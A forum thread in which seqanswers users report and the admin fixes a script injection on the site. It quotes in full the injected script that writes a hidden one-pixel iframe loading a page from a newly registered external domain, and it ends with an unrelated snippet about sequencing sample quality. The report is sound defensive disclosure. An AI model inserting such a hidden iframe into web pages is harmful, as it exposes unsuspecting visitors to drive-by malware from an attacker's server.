  • script injection : seqanswers security Q?

    Just checking on this.

    Is this legit? If it's not, are others seeing this too?

    When I load seqanswers.com ; the first html is a request for a script from


    Example:
    <script>document.write("<iframe width='1' height='1' src='http://xrrkp.yourrevolution.xyz:9449/mirror.shtml?boom=78825&foul=ashamed&close=9014&listen=49237&peril=queer&snarl=encourage&monday=60544&quiver=86886&build=42380' scrolling='' frameborder='0'></iframe>")</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    This is blocked by my local antivirus software.

    The domain http://www.domainiq.com/domain?yourrevolution.xyz
    was registered 9 hours ago.

    Is there something fishy going on?

    Edit:

    Now is trying to load from http://pkpgk.yourspin.xyz:32551
    Is anybody else getting this? According to http://www.domainiq.com/domain?yourspin.xyz , Max Vlapet registered it 10 hours ago.

    I know ad companies use pop-up domains to bypass adblockers, but this looks very fishy.

    Can others "view source" and seqanswers and confirm if this is specific to seqanswers.com ? Just check the first lines of text.

    I am getting this on both Chrome and Mozilla.

      your-trend.xzy is the same server (in Romania) ?

          Can you PM ECO about this?

            On it. Thanks guys.

              Whew. Pretty easy cleanup. Culprit was an old ad server.

              Forums have been upgraded and using a new adserver that is (at least for now) free of exploits.

              Please verify that you're not seeing the previous problems, and let me know asap if you see any other weirdness.

              Sorry about that all!

                        Got it again. Turns out it wasn't the ad server. Not going to say what it is for now.

                            Upping the security level of cloudflare to prevent it again until I can upgrade the vulnerable component. Apologies for the 5 second delay.

                              Thanks to Richard Finney for notification and GenoMax for his rapid locating of both 1.) me and 2.) the likely exploit.

                              The version of the front page CMS I'm using had an exploit, which I have upgraded.

                              I'm going to leave the CloudFlare security challenge on through the weekend to stop further DDoS/overload attacks, I welcome feedback on how annoying it is.

                                Despite advancements in sequencing platforms and related sample preparation technologies, certain sample types continue to present significant challenges that can compromise sequencing results. Pedro Echave, Senior Manager of the Global Business Segment at Revvity, explained that the success of a sequencing experiment ultimately depends on the amount and integrity of the nucleic acid template (RNA or DNA) obtained from a sample. “The better the quality of the nucleic acid isolated...
